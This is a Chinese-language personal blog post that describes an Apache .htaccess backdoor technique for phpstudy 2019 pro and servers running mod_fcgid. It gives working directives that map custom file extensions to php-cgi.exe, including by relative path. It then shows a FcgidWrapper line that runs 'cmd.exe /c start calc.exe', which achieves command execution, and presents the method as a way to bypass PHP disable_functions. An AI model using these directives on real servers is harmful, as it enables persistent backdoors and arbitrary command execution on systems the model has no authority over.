裤衩哥的小屋

# Apache HTTP Server Remote Command Execution via .htaccess & mod_fcgid.so(apache 命令执行后门)

内网渗透,网络安全 Tags: 无标签 阅读: 54

Apache HTTP Server Remote Command Execution via .htaccess & mod_fcgid.so

就是用这么标题党的题目名,上周和学长一起研究了下.htaccess的配置参数,发现一个有趣的现象,利用这种方法扩展了.htaccess攻击方式,顺便也提供了一种绕过dis_funcation的思路。

各类php解析器特点:
CGI:是 Web Server 与 Web Application 之间数据交换的一种协议。
FastCGI:同 CGI,是一种通信协议,但比 CGI 在效率上做了一些优化。同样,SCGI 协议与 FastCGI 类似。
PHP-CGI:是 PHP (Web Application)对 Web Server 提供的 CGI 协议的接口程序。
PHP-FPM:是 PHP(Web Application)对 Web Server 提供的 FastCGI 协议的接口程序,额外还提供了相对智能一些任务管理。

在phpstudy 2019 pro中引入了fcgid模块配置多个PHP版本共存:
https://blog.csdn.net/zhouzme/article/details/53995566

FcgidInitialEnv PHPRC "C:/ProgramFiles(x86)/php7.0"
FcgidWrapper "C:/ProgramFiles(x86)/php7.0/php-cgi.exe" .php

配置多版本共存的好处就如下图

其中配置如果开启了AllowOverride all或者AllowOverride Options FileInfo
就可以使目录中的.htaccess生效。

但是引入了fcgid模块了传统的.htaccess指定特定文件后缀为php解析的功能无法生效。

简而言之就是在PHPstudy 2019 pro上使用以前的.htaccess制作后门,或者利用上传漏洞就失效了。

接下来先说针对phpstudy 2019pro怎么使其生效:

原本的.htaccess后门配置信息:

<FilesMatch "xiaodi">
Sethandler application/x-httpd-php
</Eilesmatch >

这样在最新的phpstudy不生效。
想到是否可以利用fcgid模块来设置添加解析:

AddHandler fcgid-script .abc
FcgidWrapper "D:/phpstudy_pro/Extensions/php/php7.3.4nts/php-cgi.exe" .abc

就可以使.abc后缀的内容生效了,但是又有问题了。没有php-cgi.exe的路径怎么办呢。
后来我想是否可以使用相对路径,因为phpstudy的php目录名字确定,目录结构固定。然后测试了下。

AddHandler fcgid-script .abc
FcgidWrapper "../../php/php5.6.9nts/php-cgi.exe" .abc

这里需要说明下相对路径相对使用的是php的session_save_temp路径。

到这里phpstudy利用就结束了

接下来说下apache 命令执行的问题:

学长看了下指向的php-cgi.exe想了下能不能直接更改exe文件然访问特定后缀的文件后触发后门。(也就是说这里其实可以用作一个apache的后门使用。)

我看到了command????
然后就有了如下丧心病狂的尝试:

AddHandler fcgid-script .abc
FcgidWrapper "C:/Windows/System32/cmd.exe /c start calc.exe" .abc

apache-rce

2333333,执行成功.利用procmon查看下进程信息:

惊不惊喜、意不意外。

发表评论